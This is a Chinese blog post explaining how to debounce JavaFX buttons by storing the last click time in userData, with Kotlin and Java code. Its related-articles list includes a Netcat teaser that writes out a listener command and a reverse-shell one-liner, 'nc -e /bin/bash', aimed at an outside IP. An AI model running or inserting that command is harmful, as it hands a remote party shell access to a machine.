JavaFx 实现按钮防抖
原文地址:JavaFx 实现按钮防抖 | Stars-One的杂货小窝
Android平台的APP,一般是有需要进行设置按钮的防抖(即在短时间内无法多次点击),我想在JavaFx项目中也是实现防抖功能,便是研究了下
实现原理
点击按钮前,需要记录当前点击的时间,在按钮下一次点击的时候,与之前记录的点击时间进行计算,判断两者的间隔时间是否大于设定的条件值
这里思路没有是嘛难度,主要是点击时间的历史记录该如何记录?有以下几种方法
- 使用Map存储(按钮过多占用资源较大)
- 使用控件对象提供的某个无用字段进行存储
在Android中,可以使用View中的tag来保存信息
而在JavaFx中,所有的控件都有userData的字段,有了这个,我们即可去存储时间
实现代码
Kotlin版:
kotlin版我是使用了扩展方法,对BUtton类进行了扩展,不太明白扩展方法的可以查下资料,简单来说即是给Button类新增了个方法
//注意Button是javafx包的
fun Button.isFastClick(): Boolean {
val lastClickTime = userData as Long?
val currentTime = System.currentTimeMillis()
userData = currentTime
//这里我设置为1s内多次点击无效,可以根据需要调整
if (lastClickTime != null && currentTime - lastClickTime <= 1000) {
return true
}
return false
}
使用:
button{
action {
//不是快速点击才进入点击逻辑
if (!isFastClick()) {
println("hello")
}
}
}
PS:后续会收录到common-controls的库中
Java版
class ButtonUtils {
public static boolean isFastClick(Button button) {
Object userData = button.getUserData();
long currentTime = System.currentTimeMillis();
button.setUserData(currentTime);
if (userData instanceof Long) {
Long lastClickTime = (Long) userData;
return currentTime - lastClickTime <= 1000;
}
return false;
}
}
测试效果

JavaFx 实现按钮防抖的更多相关文章
- JavaFX如何为按钮设置快捷键?
JavaFX为按钮设置快捷键的方式有很多,先说下常见的一种. 第一种: KeyCodeCombination kc1 = new KeyCodeCombination(KeyCode.W, KeyCo ...
- javafx这些学会后,开发就不难了,往tablecloumn列中添加按钮,修改javafx中tableview中tablecell中的值,修改完回车表示保存到内存中
javafx开发过程中遇见难题,往tablecloumn列中添加按钮 想了很久的方法,也配有办法判断每行中有数据的地方添加按钮set bank_caozuo.setCellFactory((col)- ...
- Java开发笔记(一百三十七)JavaFX的标签
前面介绍了JavaFX的窗口框架,其中舞台.场景.窗格都能与AWT/Swing体系的相关概念一一对应,不仅如此,JavaFX的常见控件也能在Swing中找到相应的控件.比如JavaFX的按钮控件名叫B ...
- RxJava 和 RxAndroid 二(操作符的使用)
前言:对Rx不了解的朋友可以先看我的第一篇博文 RxJava 和 RxAndroid 一 (基础),是对Rxjava的基本介绍 1.merge操作符,合并观察对象 List<String> ...
- (私人收藏)[开发必备]最全Java离线快速查找手册(可查询可学习,带实例)
(私人收藏)[开发必备]最全Java离线快速查找手册(可查询可学习,带实例) https://pan.baidu.com/s/1L54VuFwCdKVnQGVc8vD1TQnwmj java手册 Ja ...
- JavaFX桌面应用开发-Button(按钮)与事件
1:Button样式的操作原始代码: package application; import javafx.application.Application;import javafx.scene.Gr ...
- JavaFX 学习笔记——jfoenix类库学习——raised风格按钮创建
创建按钮 JFXButton jfxb = new JFXButton("hello"); jfxb.getStyleClass().add("button-raised ...
- vue防抖节流函数---组件封装,防止按钮多次点击
1.vue 封装utils.js /** * @param {function} func 执行函数 * @param {number} time 防抖节流时间 * @param {boolean} ...
- JAVAFX纯手写布局
主页面效果: 第一栏的效果: 工程目录: package MessageBean; /** * * @author novo */ public class Message { private Str ...
随机推荐
- 分享自己做的一个指定进程以及线程长时间cpu监控的工具
前言: 前面给大家分享过一个工作中用到的编译拷贝脚本,其实工作中还有一些其他工具的使用,今天再来分享一个自己纯手工的CPU监控的脚本.大家可以结合上篇文章与本篇文章一起学习shell. 主要实现功能: ...
- 【LeetCode】1022. Sum of Root To Leaf Binary Numbers 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 DFS 日期 题目地址:https://leetco ...
- 【LeetCode】257. Binary Tree Paths 解题报告(java & python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 递归 迭代 日期 题目地址:https://leet ...
- 【LeetCode】760. Find Anagram Mappings 解题报告
[LeetCode]760. Find Anagram Mappings 解题报告 标签(空格分隔): LeetCode 题目地址:https://leetcode.com/problems/find ...
- Netcat反弹shell的方法
VPS监听: aliyun: nc -lvnp 7777 监听7777端口 被监听: nc -w 10 -e /bin/bash 8.130.49.121 7777 (-w:连接超时时间 -e 使 ...
- Java用sort实现对数组的降序排序
在调用Arrays.sort()对数组进行排序时,默认是升序排序的,如果想让数组降序排序,有下面两种方法: 利用Collections的reverseOrder import java.util.*; ...
- @Transactional 失效
1.Transactional注解标注方法修饰符为非public时,@Transactional注解将会不起作用. @Transactional void insertTestWrongModi ...
- Chapter 7 Confounding
目录 7.1 The structure of confounding Confounding and exchangeability Confounding and the backdoor cri ...
- SpringBoot集成MyBatis-Plus代码生成器(Dao)
1.说明 本文基于SpringBoot集成MyBatis-Plus代码生成器, 把原来生成Entity.Mapper.Mapper XML.Service.Controller等各个模块的代码, 修改 ...
- 如何用微信小程序,每天给自己赚个鸡腿?
假期如果实在无聊的话,那跟随田同学的脚步上架一个小程序吧. 话说:谁不想拥有一个自己的小程序呢?既可以赚点小钱又可以长长见识. 不懂小程序的小白能不能做出来呢?那来对了,这个教程就是针对小白的. 今天 ...